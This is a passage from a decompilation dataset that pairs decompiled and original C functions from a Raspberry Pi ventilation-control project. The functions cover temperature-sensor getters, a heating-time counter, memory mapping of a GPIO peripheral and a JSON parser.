"canonical_decompiled_code": "float func4()\n{\nreturn *(float *)&g_r32DS18B20_temp_s2;\n}", "original_code": "real32 r32_DS18B20_exhaust_temp()\n{\n return g_r32DS18B20_temp_s2;\n}", "canonical_original_code": "float r32_DS18B20_exhaust_temp()\n{\n return g_r32DS18B20_temp_s2;\n}", "variable_types": [], "return_type": "float", "user_defined_types": [], "binary_hash": "6b7afd58f3b7f373859e19966d5474b9ba0137cee75a1c5a0774b2c46ae18140" }, { "name": "r32_DS18B20_incoming_temp", "canonical_name": "func5", "repo": "pecca/vallox_control", "decompiled_code": "float r32_DS18B20_incoming_temp()\n{\nreturn *(float *)&g_r32DS18B20_temp_s3;\n}\n", "canonical_decompiled_code": "float func5()\n{\nreturn *(float *)&g_r32DS18B20_temp_s3;\n}", "original_code": "real32 r32_DS18B20_incoming_temp()\n{\n return g_r32DS18B20_temp_s3;\n}", "canonical_original_code": "float r32_DS18B20_incoming_temp()\n{\n return g_r32DS18B20_temp_s3;\n}", "variable_types": [], "return_type": "float", "user_defined_types": [], "binary_hash": "6b7afd58f3b7f373859e19966d5474b9ba0137cee75a1c5a0774b2c46ae18140" }, { "name": "tDS18B20_outside_temp_ts", "canonical_name": "func6", "repo": "pecca/vallox_control", "decompiled_code": "__int64 tDS18B20_outside_temp_ts()\n{\nreturn g_DS18B20_timestamp_s1;\n}\n", "canonical_decompiled_code": "__int64 func6()\n{\nreturn g_DS18B20_timestamp_s1;\n}", "original_code": "time_t tDS18B20_outside_temp_ts()\n{\n return g_DS18B20_timestamp_s1;\n}", "canonical_original_code": "long tDS18B20_outside_temp_ts()\n{\n return g_DS18B20_timestamp_s1;\n}", "variable_types": [], "return_type": "long", "user_defined_types": [], "binary_hash": "6b7afd58f3b7f373859e19966d5474b9ba0137cee75a1c5a0774b2c46ae18140" }, { "name": "tDS18B20_exhaust_temp_ts", "canonical_name": "func7", "repo": "pecca/vallox_control", "decompiled_code": "__int64 tDS18B20_exhaust_temp_ts()\n{\nreturn g_DS18B20_timestamp_s2;\n}\n", "canonical_decompiled_code": "__int64 func7()\n{\nreturn g_DS18B20_timestamp_s2;\n}", "original_code": "time_t tDS18B20_exhaust_temp_ts()\n{\n return g_DS18B20_timestamp_s2;\n}", "canonical_original_code": "long tDS18B20_exhaust_temp_ts()\n{\n return g_DS18B20_timestamp_s2;\n}", "variable_types": [], "return_type": "long", "user_defined_types": [], "binary_hash": "6b7afd58f3b7f373859e19966d5474b9ba0137cee75a1c5a0774b2c46ae18140" }, { "name": "tDS18B20_incoming_temp_ts", "canonical_name": "func8", "repo": "pecca/vallox_control", "decompiled_code": "__int64 tDS18B20_incoming_temp_ts()\n{\nreturn g_DS18B20_timestamp_s3;\n}\n", "canonical_decompiled_code": "__int64 func8()\n{\nreturn g_DS18B20_timestamp_s3;\n}", "original_code": "time_t tDS18B20_incoming_temp_ts()\n{\n return g_DS18B20_timestamp_s3;\n}", "canonical_original_code": "long tDS18B20_incoming_temp_ts()\n{\n return g_DS18B20_timestamp_s3;\n}", "variable_types": [], "return_type": "long", "user_defined_types": [], "binary_hash": "6b7afd58f3b7f373859e19966d5474b9ba0137cee75a1c5a0774b2c46ae18140" } ]
7f1129786afec09cacde8ebd0f79064c3f61052f48e7512042242e0afa69522d
pecca/vallox_control
[ [ "post_heating_counter_init", "->", "read_on_time_from_file" ], [ "post_heating_counter_update", "->", "save_on_time_to_file" ], [ "u32_post_heating_counter_get_on_time_total", "->" ], [ "read_on_time_from_file", "->", "post_heating_counter_init" ], [ "save_on_time_to_file", "->", "post_heating_counter_update" ] ]
[ [ "read_on_time_from_file", "int func3()\n{\nFILE *v0; // rax\nFILE *stream; // [rsp+8h] [rbp-8h]\n\nv0 = fopen(\"post_heating_value.txt\", \"r\");\nstream = v0;\nif ( v0 )\n{\n_isoc99_fscanf(v0, \"%d\", &g_u32OnTimeTotal);\nLODWORD(v0) = fclose(stream);\n}\nreturn (int)v0;\n}" ], [ "save_on_time_to_file", "int func4()\n{\nFILE *v0; // rax\nFILE *stream; // [rsp+8h] [rbp-8h]\n\nv0 = fopen(\"post_heating_value.txt\", \"w\");\nstream = v0;\nif ( v0 )\n{\nfprintf(v0, \"%d\\n\", (unsigned int)g_u32OnTimeTotal);\nLODWORD(v0) = fclose(stream);\n}\nreturn (int)v0;\n}" ] ]
[ { "name": "post_heating_counter_init", "canonical_name": "func0", "repo": "pecca/vallox_control", "decompiled_code": "__int64 post_heating_counter_init()\n{\nreturn read_on_time_from_file();\n}\n", "canonical_decompiled_code": "__int64 func0()\n{\nreturn func3();\n}", "original_code": "void post_heating_counter_init()\n{\n read_on_time_from_file();\n}", "canonical_original_code": "void post_heating_counter_init()\n{\n read_on_time_from_file();\n}", "variable_types": [], "return_type": "void", "user_defined_types": [], "binary_hash": "7f1129786afec09cacde8ebd0f79064c3f61052f48e7512042242e0afa69522d" }, { "name": "post_heating_counter_update", "canonical_name": "func1", "repo": "pecca/vallox_control", "decompiled_code": "__int64 post_heating_counter_update()\n{\n__int64 result; // rax\nint v1; // eax\nint v2; // edx\nunsigned __int8 v3; // [rsp+Eh] [rbp-2h]\nchar v4; // [rsp+Fh] [rbp-1h]\n\nv4 = (int)r32_digit_post_heating_on_cnt();\nv3 = (int)r32_digit_post_heating_off_cnt();\n++g_u32UpdateCallCnt;\nif ( !(5 * g_u32UpdateCallCnt % 0xE10u) )\nsave_on_time_to_file();\nresult = (unsigned __int8)g_bPostHeatingStarted ^ 1u;\nif ( g_bPostHeatingStarted != 1\n&& v4\n&& (v1 = 205 * v3,\nLOWORD(v1) = BYTE1(v1),\nv2 = v1,\nLOBYTE(v2) = (unsigned __int8)v1 >> 3,\nresult = (unsigned int)(10 * v2),\nv3 == 10 * (_BYTE)v2) )\n{\ng_bPostHeatingStarted = 1;\nresult = g_u32OnTimeTotal - (unsigned int)v3 + 100;\ng_u32OnTimeTotal = g_u32OnTimeTotal - v3 + 100;\n}\nelse if ( !v4 )\n{\ng_bPostHeatingStarted = 0;\n}\nreturn result;\n}\n", "canonical_decompiled_code": "__int64 func1()\n{\n__int64 result; // rax\nint v1; // eax\nint v2; // edx\nunsigned __int8 v3; // [rsp+Eh] [rbp-2h]\nchar v4; // [rsp+Fh] [rbp-1h]\n\nv4 = (int)r32_digit_post_heating_on_cnt();\nv3 = (int)r32_digit_post_heating_off_cnt();\n++g_u32UpdateCallCnt;\nif ( !(5 * g_u32UpdateCallCnt % 0xE10u) )\nfunc4();\nresult = (unsigned __int8)g_bPostHeatingStarted ^ 1u;\nif ( g_bPostHeatingStarted != 1\n&& v4\n&& (v1 = 205 * v3,\nLOWORD(v1) = BYTE1(v1),\nv2 = v1,\nLOBYTE(v2) = (unsigned __int8)v1 >> 3,\nresult = (unsigned int)(10 * v2),\nv3 == 10 * (_BYTE)v2) )\n{\ng_bPostHeatingStarted = 1;\nresult = g_u32OnTimeTotal - (unsigned int)v3 + 100;\ng_u32OnTimeTotal = g_u32OnTimeTotal - v3 + 100;\n}\nelse if ( !v4 )\n{\ng_bPostHeatingStarted = 0;\n}\nreturn result;\n}", "original_code": "void post_heating_counter_update()\n{\n uint8 u8OnCnt = (uint8) r32_digit_post_heating_on_cnt();\n uint8 u8OffCnt = (uint8) r32_digit_post_heating_off_cnt();\n g_u32UpdateCallCnt++;\n if ( (g_u32UpdateCallCnt * (5)) %\n (60*60) == 0)\n {\n save_on_time_to_file();\n }\n if ( g_bPostHeatingStarted == 0 &&\n u8OnCnt > 0 &&\n !(u8OffCnt % 10) )\n {\n g_bPostHeatingStarted = 1;\n g_u32OnTimeTotal += (100 - u8OffCnt);\n }\n else if (u8OnCnt == 0)\n {\n g_bPostHeatingStarted = 0;\n }\n}", "canonical_original_code": "void post_heating_counter_update()\n{\n unsigned char u8OnCnt = (uint8) r32_digit_post_heating_on_cnt();\n unsigned char u8OffCnt = (uint8) r32_digit_post_heating_off_cnt();\n g_u32UpdateCallCnt++;\n if ( (g_u32UpdateCallCnt * (5)) %\n (60*60) == 0)\n {\n save_on_time_to_file();\n }\n if ( g_bPostHeatingStarted == 0 &&\n u8OnCnt > 0 &&\n !(u8OffCnt % 10) )\n {\n g_bPostHeatingStarted = 1;\n g_u32OnTimeTotal += (100 - u8OffCnt);\n }\n else if (u8OnCnt == 0)\n {\n g_bPostHeatingStarted = 0;\n }\n}", "variable_types": [ [ "u8OnCnt", "unsigned char" ], [ "u8OffCnt", "unsigned char" ] ], "return_type": "void", "user_defined_types": [], "binary_hash": "7f1129786afec09cacde8ebd0f79064c3f61052f48e7512042242e0afa69522d" }, { "name": "u32_post_heating_counter_get_on_time_total", "canonical_name": "func2", "repo": "pecca/vallox_control", "decompiled_code": "__int64 u32_post_heating_counter_get_on_time_total()\n{\nreturn (unsigned int)g_u32OnTimeTotal;\n}\n", "canonical_decompiled_code": "__int64 func2()\n{\nreturn (unsigned int)g_u32OnTimeTotal;\n}", "original_code": "uint32 u32_post_heating_counter_get_on_time_total()\n{\n return g_u32OnTimeTotal;\n}", "canonical_original_code": "unsigned int u32_post_heating_counter_get_on_time_total()\n{\n return g_u32OnTimeTotal;\n}", "variable_types": [], "return_type": "unsigned int", "user_defined_types": [], "binary_hash": "7f1129786afec09cacde8ebd0f79064c3f61052f48e7512042242e0afa69522d" } ]
a6456c9a5bf35bd4c9f6c2b6131370b0745f5720b871a155d9c8e3302f1f7ead
pecca/vallox_control
[ [ "map_peripheral", "->" ], [ "unmap_peripheral", "->" ] ]
[]
[ { "name": "map_peripheral", "canonical_name": "func0", "repo": "pecca/vallox_control", "decompiled_code": "__int64 __fastcall map_peripheral(__int64 a1)\n{\n__int64 result; // rax\n\n*(_DWORD *)(a1 + 8) = open(\"/dev/mem\", 1052674);\nif ( *(int *)(a1 + 8) >= 0 )\n{\n*(_QWORD *)(a1 + 16) = mmap(0LL, 0x1000uLL, 3, 1, *(_DWORD *)(a1 + 8), *(_QWORD *)a1);\nif ( *(_QWORD *)(a1 + 16) == -1LL )\n{\nperror(\"mmap\");\nresult = 0xFFFFFFFFLL;\n}\nelse\n{\n*(_QWORD *)(a1 + 24) = *(_QWORD *)(a1 + 16);\nresult = 0LL;\n}\n}\nelse\n{\nputs(\"Failed to open /dev/mem, try checking permissions.\");\nresult = 0xFFFFFFFFLL;\n}\nreturn result;\n}\n", "canonical_decompiled_code": "__int64 __fastcall func0(__int64 a1)\n{\n__int64 result; // rax\n\n*(_DWORD *)(a1 + 8) = open(\"/dev/mem\", 1052674);\nif ( *(int *)(a1 + 8) >= 0 )\n{\n*(_QWORD *)(a1 + 16) = mmap(0LL, 0x1000uLL, 3, 1, *(_DWORD *)(a1 + 8), *(_QWORD *)a1);\nif ( *(_QWORD *)(a1 + 16) == -1LL )\n{\nperror(\"mmap\");\nresult = 0xFFFFFFFFLL;\n}\nelse\n{\n*(_QWORD *)(a1 + 24) = *(_QWORD *)(a1 + 16);\nresult = 0LL;\n}\n}\nelse\n{\nputs(\"Failed to open /dev/mem, try checking permissions.\");\nresult = 0xFFFFFFFFLL;\n}\nreturn result;\n}", "original_code": "int map_peripheral(struct bcm2835_peripheral *p)\n{\n if ((p->mem_fd = open(\"/dev/mem\", 02|04010000) ) < 0)\n {\n printf(\"Failed to open /dev/mem, try checking permissions.\\n\");\n return -1;\n }\n p->map = mmap(\n ((void *)0),\n (4*1024),\n 0x1|0x2,\n 0x01,\n p->mem_fd,\n p->addr_p\n );\n if (p->map == ((void *) -1))\n {\n perror(\"mmap\");\n return -1;\n }\n p->addr = (volatile unsigned int *)p->map;\n return 0;\n}", "canonical_original_code": "int map_peripheral(struct bcm2835_peripheral *p)\n{\n if ((p->mem_fd = open(\"/dev/mem\", 02|04010000) ) < 0)\n {\n printf(\"Failed to open /dev/mem, try checking permissions.\\n\");\n return -1;\n }\n p->map = mmap(\n ((void *)0),\n (4*1024),\n 0x1|0x2,\n 0x01,\n p->mem_fd,\n p->addr_p\n );\n if (p->map == ((void *) -1))\n {\n perror(\"mmap\");\n return -1;\n }\n p->addr = (unsigned int *)p->map;\n return 0;\n}", "variable_types": [ [ "p", "struct bcm2835_peripheral { unsigned long addr_p; int mem_fd; void *map; unsigned int *addr; } *" ] ], "return_type": "int", "user_defined_types": [ "struct bcm2835_peripheral { unsigned long addr_p; int mem_fd; void *map; unsigned int *addr; }" ], "binary_hash": "a6456c9a5bf35bd4c9f6c2b6131370b0745f5720b871a155d9c8e3302f1f7ead" }, { "name": "unmap_peripheral", "canonical_name": "func1", "repo": "pecca/vallox_control", "decompiled_code": "int __fastcall unmap_peripheral(__int64 a1)\n{\nmunmap(*(void **)(a1 + 16), 0x1000uLL);\nreturn close(*(_DWORD *)(a1 + 8));\n}\n", "canonical_decompiled_code": "int __fastcall func1(__int64 a1)\n{\nmunmap(*(void **)(a1 + 16), 0x1000uLL);\nreturn close(*(_DWORD *)(a1 + 8));\n}", "original_code": "void unmap_peripheral(struct bcm2835_peripheral *p)\n{\n munmap(p->map, (4*1024));\n close(p->mem_fd);\n}", "canonical_original_code": "void unmap_peripheral(struct bcm2835_peripheral *p)\n{\n munmap(p->map, (4*1024));\n close(p->mem_fd);\n}", "variable_types": [ [ "p", "struct bcm2835_peripheral { unsigned long addr_p; int mem_fd; void *map; unsigned int *addr; } *" ] ], "return_type": "void", "user_defined_types": [ "struct bcm2835_peripheral { unsigned long addr_p; int mem_fd; void *map; unsigned int *addr; }" ], "binary_hash": "a6456c9a5bf35bd4c9f6c2b6131370b0745f5720b871a155d9c8e3302f1f7ead" } ]
abc977a099685864e5e3753ac95b828c0b7e5d1af6e07a0b9f2d8ea810beb8bf
pecca/vallox_control
[ [ "jsmn_parse_primitive", "->", "jsmn_parse" ], [ "jsmn_parse_string", "->", "jsmn_parse" ], [ "jsmn_parse", "->", "jsmn_parse_string", "jsmn_parse_primitive" ] ]
[]
[ { "name": "jsmn_parse_primitive", "canonical_name": "func0", "repo": "pecca/vallox_control", "decompiled_code": "__int64 __fastcall jsmn_parse_primitive(int *a1, __int64 a2, unsigned __int64 a3, __int64 a4, unsigned __int64 a5)\n{\nint v5; // eax\n__int64 result; // rax\n_DWORD *v7; // [rsp+28h] [rbp-10h]\nint v8; // [rsp+34h] [rbp-4h]\n\nv8 = *a1;\nwhile ( a3 > (unsigned int)*a1 )\n{\nif ( !*(_BYTE *)((unsigned int)*a1 + a2) )\nbreak;\nv5 = *(char *)((unsigned int)*a1 + a2);\nif ( v5 == 125 )\nbreak;\nif ( v5 <= 125 )\n{\nif ( v5 > 58 )\n{\nif ( v5 == 93 )\nbreak;\n}\nelse if ( v5 >= 9 && ((1LL << v5) & 0x400100100002600LL) != 0 )\n{\nbreak;\n}\n}\nif ( *(char *)((unsigned int)*a1 + a2) <= 31 || *(_BYTE *)((unsigned int)*a1 + a2) == 127 )\n{\n*a1 = v8;\nreturn 4294967294LL;\n}\n++*a1;\n}\nif ( a4 )\n{\nv7 = jsmn_alloc_token((__int64)a1, a4, a5);\nif ( v7 )\n{\njsmn_fill_token(v7, 0, v8, *a1);\n--*a1;\nresult = 0LL;\n}\nelse\n{\n*a1 = v8;\nresult = 0xFFFFFFFFLL;\n}\n}\nelse\n{\n--*a1;\nresult = 0LL;\n}\nreturn result;\n}\n", "canonical_decompiled_code": "__int64 __fastcall func0(int *a1, __int64 a2, unsigned __int64 a3, __int64 a4, unsigned __int64 a5)\n{\nint v5; // eax\n__int64 result; // rax\n_DWORD *v7; // [rsp+28h] [rbp-10h]\nint v8; // [rsp+34h] [rbp-4h]\n\nv8 = *a1;\nwhile ( a3 > (unsigned int)*a1 )\n{\nif ( !*(_BYTE *)((unsigned int)*a1 + a2) )\nbreak;\nv5 = *(char *)((unsigned int)*a1 + a2);\nif ( v5 == 125 )\nbreak;\nif ( v5 <= 125 )\n{\nif ( v5 > 58 )\n{\nif ( v5 == 93 )\nbreak;\n}\nelse if ( v5 >= 9 && ((1LL << v5) & 0x400100100002600LL) != 0 )\n{\nbreak;\n}\n}\nif ( *(char *)((unsigned int)*a1 + a2) <= 31 || *(_BYTE *)((unsigned int)*a1 + a2) == 127 )\n{\n*a1 = v8;\nreturn 4294967294LL;\n}\n++*a1;\n}\nif ( a4 )\n{\nv7 = jsmn_alloc_token((__int64)a1, a4, a5);\nif ( v7 )\n{\njsmn_fill_token(v7, 0, v8, *a1);\n--*a1;\nresult = 0LL;\n}\nelse\n{\n*a1 = v8;\nresult = 0xFFFFFFFFLL;\n}\n}\nelse\n{\n--*a1;\nresult = 0LL;\n}\nreturn result;\n}", "original_code": "static jsmnerr_t jsmn_parse_primitive(jsmn_parser *parser, const char *js,\n size_t len, jsmntok_t *tokens, size_t num_tokens) {\n jsmntok_t *token;\n int start;\n start = parser->pos;\n for (; parser->pos < len && js[parser->pos] != '\\0'; parser->pos++) {\n switch (js[parser->pos]) {\n case ':':\n case '\\t' : case '\\r' : case '\\n' : case ' ' :\n case ',' : case ']' : case '}' :\n goto found;\n }\n if (js[parser->pos] < 32 || js[parser->pos] >= 127) {\n parser->pos = start;\n return JSMN_ERROR_INVAL;\n }\n }\nfound:\n if (tokens == ((void *)0)) {\n parser->pos--;\n return 0;\n }\n token = jsmn_alloc_token(parser, tokens, num_tokens);\n if (token == ((void *)0)) {\n parser->pos = start;\n return JSMN_ERROR_NOMEM;\n }\n jsmn_fill_token(token, JSMN_PRIMITIVE, start, parser->pos);\n parser->pos--;\n return 0;\n}", "canonical_original_code": "static enum jsmnerr_t jsmn_parse_primitive(struct jsmn_parser *parser, char *js, unsigned long len, struct jsmntok_t *tokens, unsigned long num_tokens) {\n struct jsmntok_t *token;\n int start;\n start = parser->pos;\n for (; parser->pos < len && js[parser->pos] != '\\0'; parser->pos++) {\n switch (js[parser->pos]) {\n case ':':\n case '\\t' : case '\\r' : case '\\n' : case ' ' :\n case ',' : case ']' : case '}' :\n goto found;\n }\n if (js[parser->pos] < 32 || js[parser->pos] >= 127) {\n parser->pos = start;\n return JSMN_ERROR_INVAL;\n }\n }\nfound:\n if (tokens == ((void *)0)) {\n parser->pos--;\n return 0;\n }\n token = jsmn_alloc_token(parser, tokens, num_tokens);\n if (token == ((void *)0)) {\n parser->pos = start;\n return JSMN_ERROR_NOMEM;\n }\n jsmn_fill_token(token, JSMN_PRIMITIVE, start, parser->pos);\n parser->pos--;\n return 0;\n}", "variable_types": [ [ "parser", "struct jsmn_parser { unsigned int pos; unsigned int toknext; int toksuper; } *" ], [ "js", "char *" ], [ "len", "unsigned long" ], [ "tokens", "struct jsmntok_t { enum jsmntype_t { JSMN_PRIMITIVE=0, JSMN_OBJECT=1, JSMN_ARRAY=2, JSMN_STRING=3 } type; int start; int end; int size; } *" ], [ "num_tokens", "unsigned long" ], [ "token", "struct jsmntok_t { enum jsmntype_t { JSMN_PRIMITIVE=0, JSMN_OBJECT=1, JSMN_ARRAY=2, JSMN_STRING=3 } type; int start; int end; int size; } *" ], [ "start", "int" ] ], "return_type": "enum jsmnerr_t { JSMN_ERROR_NOMEM=-1, JSMN_ERROR_INVAL=-2, JSMN_ERROR_PART=-3 }", "user_defined_types": [ "enum jsmnerr_t { JSMN_ERROR_NOMEM=-1, JSMN_ERROR_INVAL=-2, JSMN_ERROR_PART=-3 }", "struct jsmn_parser { unsigned int pos; unsigned int toknext; int toksuper; }", "struct jsmntok_t { enum jsmntype_t type; int start; int end; int size; }", "enum jsmntype_t { JSMN_PRIMITIVE=0, JSMN_OBJECT=1, JSMN_ARRAY=2, JSMN_STRING=3 }" ], "binary_hash": "abc977a099685864e5e3753ac95b828c0b7e5d1af6e07a0b9f2d8ea810beb8bf" }, { "name": "jsmn_parse_string", "canonical_name": "func1", "repo": "pecca/vallox_control", "decompiled_code": "__int64 __fastcall jsmn_parse_string(int *a1, __int64 a2, unsigned __int64 a3, __int64 a4, unsigned __int64 a5)\n{\n__int64 result; // rax\nint v6; // eax\n_DWORD *v7; // [rsp+30h] [rbp-18h]\nchar v8; // [rsp+3Fh] [rbp-9h]\nint v9; // [rsp+40h] [rbp-8h]\nint v10; // [rsp+44h] [rbp-4h]\n\nv9 = (*a1)++;\nwhile ( 1 )\n{\nif ( a3 <= (unsigned int)*a1 || !*(_BYTE *)((unsigned int)*a1 + a2) )\n{\n*a1 = v9;\nreturn 4294967293LL;\n}\nv8 = *(_BYTE *)((unsigned int)*a1 + a2);\nif ( v8 == 34 )\nbreak;\nif ( v8 == 92 )\n{\nv6 = *(char *)((unsigned int)++*a1 + a2);\nif ( v6 > 117 )\ngoto LABEL_27;\nif ( v6 >= 92 )\n{\nswitch ( *(_BYTE *)((unsigned int)*a1 + a2) )\n{\ncase '\\\\':\ncase 'b':\ncase 'f':\ncase 'n':\ncase 'r':\ncase 't':\ngoto LABEL_28;\ncase 'u':\n++*a1;\nv10 = 0;\nbreak;\ndefault:\ngoto LABEL_27;\n}\nwhile ( v10 <= 3 && *(_BYTE *)((unsigned int)*a1 + a2) )\n{\nif ( (*(char *)((unsigned int)*a1 + a2) <= 47 || *(char *)((unsigned int)*a1 + a2) > 57)\n&& (*(char *)((unsigned int)*a1 + a2) <= 64 || *(char *)((unsigned int)*a1 + a2) > 70)\n&& (*(char *)((unsigned int)*a1 + a2) <= 96 || *(char *)((unsigned int)*a1 + a2) > 102) )\n{\n*a1 = v9;\nreturn 4294967294LL;\n}\n++*a1;\n++v10;\n}\n--*a1;\n}\nelse if ( v6 != 34 && v6 != 47 )\n{\nLABEL_27:\n*a1 = v9;\nreturn 4294967294LL;\n}\n}\nLABEL_28:\n++*a1;\n}\nif ( !a4 )\nreturn 0LL;\nv7 = jsmn_alloc_token((__int64)a1, a4, a5);\nif ( v7 )\n{\njsmn_fill_token(v7, 3, v9 + 1, *a1);\nresult = 0LL;\n}\nelse\n{\n*a1 = v9;\nresult = 0xFFFFFFFFLL;\n}\nreturn result;\n}\n", "canonical_decompiled_code": "__int64 __fastcall func1(int *a1, __int64 a2, unsigned __int64 a3, __int64 a4, unsigned __int64 a5)\n{\n__int64 result; // rax\nint v6; // eax\n_DWORD *v7; // [rsp+30h] [rbp-18h]\nchar v8; // [rsp+3Fh] [rbp-9h]\nint v9; // [rsp+40h] [rbp-8h]\nint v10; // [rsp+44h] [rbp-4h]\n\nv9 = (*a1)++;\nwhile ( 1 )\n{\nif ( a3 <= (unsigned int)*a1 || !*(_BYTE *)((unsigned int)*a1 + a2) )\n{\n*a1 = v9;\nreturn 4294967293LL;\n}\nv8 = *(_BYTE *)((unsigned int)*a1 + a2);\nif ( v8 == 34 )\nbreak;\nif ( v8 == 92 )\n{\nv6 = *(char *)((unsigned int)++*a1 + a2);\nif ( v6 > 117 )\ngoto LABEL_27;\nif ( v6 >= 92 )\n{\nswitch ( *(_BYTE *)((unsigned int)*a1 + a2) )\n{\ncase '\\\\':\ncase 'b':\ncase 'f':\ncase 'n':\ncase 'r':\ncase 't':\ngoto LABEL_28;\ncase 'u':\n++*a1;\nv10 = 0;\nbreak;\ndefault:\ngoto LABEL_27;\n}\nwhile ( v10 <= 3 && *(_BYTE *)((unsigned int)*a1 + a2) )\n{\nif ( (*(char *)((unsigned int)*a1 + a2) <= 47 || *(char *)((unsigned int)*a1 + a2) > 57)\n&& (*(char *)((unsigned int)*a1 + a2) <= 64 || *(char *)((unsigned int)*a1 + a2) > 70)\n&& (*(char *)((unsigned int)*a1 + a2) <= 96 || *(char *)((unsigned int)*a1 + a2) > 102) )\n{\n*a1 = v9;\nreturn 4294967294LL;\n}\n++*a1;\n++v10;\n}\n--*a1;\n}\nelse if ( v6 != 34 && v6 != 47 )\n{\nLABEL_27:\n*a1 = v9;\nreturn 4294967294LL;\n}\n}\nLABEL_28:\n++*a1;\n}\nif ( !a4 )\nreturn 0LL;\nv7 = jsmn_alloc_token((__int64)a1, a4, a5);\nif ( v7 )\n{\njsmn_fill_token(v7, 3, v9 + 1, *a1);\nresult = 0LL;\n}\nelse\n{\n*a1 = v9;\nresult = 0xFFFFFFFFLL;\n}\nreturn result;\n}", "original_code": "static jsmnerr_t jsmn_parse_string(jsmn_parser *parser, const char *js,\n size_t len, jsmntok_t *tokens, size_t num_tokens) {\n jsmntok_t *token;\n int start = parser->pos;\n parser->pos++;\n for (; parser->pos < len && js[parser->pos] != '\\0'; parser->pos++) {\n char c = js[parser->pos];\n if (c == '\\\"') {\n if (tokens == ((void *)0)) {\n return 0;\n }\n token = jsmn_alloc_token(parser, tokens, num_tokens);\n if (token == ((void *)0)) {\n parser->pos = start;\n return JSMN_ERROR_NOMEM;\n }\n jsmn_fill_token(token, JSMN_STRING, start+1, parser->pos);\n return 0;\n }\n if (c == '\\\\') {\n parser->pos++;\n switch (js[parser->pos]) {\n case '\\\"': case '/' : case '\\\\' : case 'b' :\n case 'f' : case 'r' : case 'n' : case 't' :\n break;\n case 'u':\n parser->pos++;\n int i = 0;\n for(; i < 4 && js[parser->pos] != '\\0'; i++) {\n if(!((js[parser->pos] >= 48 && js[parser->pos] <= 57) ||\n (js[parser->pos] >= 65 && js[parser->pos] <= 70) ||\n (js[parser->pos] >= 97 && js[parser->pos] <= 102))) {\n parser->pos = start;\n return JSMN_ERROR_INVAL;\n }\n parser->pos++;\n }\n parser->pos--;\n break;\n default:\n parser->pos = start;\n return JSMN_ERROR_INVAL;\n }\n }\n }\n parser->pos = start;\n return JSMN_ERROR_PART;\n}", "canonical_original_code": "static enum jsmnerr_t jsmn_parse_string(struct jsmn_parser *parser, char *js, unsigned long len, struct jsmntok_t *tokens, unsigned long num_tokens) {\n struct jsmntok_t *token;\n int start = parser->pos;\n parser->pos++;\n for (; parser->pos < len && js[parser->pos] != '\\0'; parser->pos++) {\n char c = js[parser->pos];\n if (c == '\\\"') {\n if (tokens == ((void *)0)) {\n return 0;\n }\n token = jsmn_alloc_token(parser, tokens, num_tokens);\n if (token == ((void *)0)) {\n parser->pos = start;\n return JSMN_ERROR_NOMEM;\n }\n jsmn_fill_token(token, JSMN_STRING, start+1, parser->pos);\n return 0;\n }\n if (c == '\\\\') {\n parser->pos++;\n switch (js[parser->pos]) {\n case '\\\"': case '/' : case '\\\\' : case 'b' :\n case 'f' : case 'r' : case 'n' : case 't' :\n break;\n case 'u':\n parser->pos++;\n int i = 0;\n for(; i < 4 && js[parser->pos] != '\\0'; i++) {\n if(!((js[parser->pos] >= 48 && js[parser->pos] <= 57) ||\n (js[parser->pos] >= 65 && js[parser->pos] <= 70) ||\n (js[parser->pos] >= 97 && js[parser->pos] <= 102))) {\n parser->pos = start;\n return JSMN_ERROR_INVAL;\n }\n parser->pos++;\n }\n parser->pos--;\n break;\n default:\n parser->pos = start;\n return JSMN_ERROR_INVAL;\n }\n }\n }\n parser->pos = start;\n return JSMN_ERROR_PART;\n}", "variable_types": [ [ "parser", "struct jsmn_parser { unsigned int pos; unsigned int toknext; int toksuper; } *" ], [ "js", "char *" ], [ "len", "unsigned long" ], [ "tokens", "struct jsmntok_t { enum jsmntype_t { JSMN_PRIMITIVE=0, JSMN_OBJECT=1, JSMN_ARRAY=2, JSMN_STRING=3 } type; int start; int end; int size; } *" ], [ "num_tokens", "unsigned long" ], [ "token", "struct jsmntok_t { enum jsmntype_t { JSMN_PRIMITIVE=0, JSMN_OBJECT=1, JSMN_ARRAY=2, JSMN_STRING=3 } type; int start; int end; int size; } *" ], [ "start", "int" ], [ "c", "char" ], [ "i", "int" ] ], "return_type": "enum jsmnerr_t { JSMN_ERROR_NOMEM=-1, JSMN_ERROR_INVAL=-2, JSMN_ERROR_PART=-3 }", "user_defined_types": [ "enum jsmnerr_t { JSMN_ERROR_NOMEM=-1, JSMN_ERROR_INVAL=-2, JSMN_ERROR_PART=-3 }", "struct jsmn_parser { unsigned int pos; unsigned int toknext; int toksuper; }", "struct jsmntok_t { enum jsmntype_t type; int start; int end; int size; }", "enum jsmntype_t { JSMN_PRIMITIVE=0, JSMN_OBJECT=1, JSMN_ARRAY=2, JSMN_STRING=3 }" ], "binary_hash": "abc977a099685864e5e3753ac95b828c0b7e5d1af6e07a0b9f2d8ea810beb8bf" }, { "name": "jsmn_parse", "canonical_name": "func2", "repo": "pecca/vallox_control", "decompiled_code": "__int64 __fastcall jsmn_parse(int *a1, __int64 a2, unsigned __int64 a3, __int64 a4, unsigned int a5)\n{\n__int64 v6; // rax\nint v7; // edx\nint v8; // eax\n__int64 v9; // rax\n__int64 v10; // rax\nint v14; // [rsp+2Ch] [rbp-1Ch]\nint v15; // [rsp+2Ch] [rbp-1Ch]\n_DWORD *v16; // [rsp+30h] [rbp-18h]\n_DWORD *v17; // [rsp+30h] [rbp-18h]\n__int64 v18; // [rsp+30h] [rbp-18h]\nchar v19; // [rsp+3Fh] [rbp-9h]\nunsigned int v20; // [rsp+40h] [rbp-8h]\nint i; // [rsp+44h] [rbp-4h]\nint j; // [rsp+44h] [rbp-4h]\n\nv20 = 0;\nwhile ( a3 > (unsigned int)*a1 && *(_BYTE *)((unsigned int)*a1 + a2) )\n{\nv19 = *(_BYTE *)((unsigned int)*a1 + a2);\nif ( v19 == 125 )\ngoto LABEL_21;\nif ( v19 <= 125 )\n{\nif ( v19 == 123 )\ngoto LABEL_12;\nif ( v19 <= 123 )\n{\nif ( v19 == 93 )\n{\nLABEL_21:\nif ( a4 )\n{\nif ( v19 == 125 )\nv8 = 1;\nelse\nv8 = 2;\nfor ( i = a1[1] - 1; ; --i )\n{\nif ( i < 0 )\ngoto LABEL_33;\nv17 = (_DWORD *)(16LL * i + a4);\nif ( v17[1] != -1 && v17[2] == -1 )\nbreak;\n}\nif ( v8 != *v17 )\nreturn 4294967294LL;\na1[2] = -1;\nv17[2] = *a1 + 1;\nLABEL_33:\nif ( i == -1 )\nreturn 4294967294LL;\nwhile ( i >= 0 )\n{\nv18 = 16LL * i + a4;\nif ( *(_DWORD *)(v18 + 4) != -1 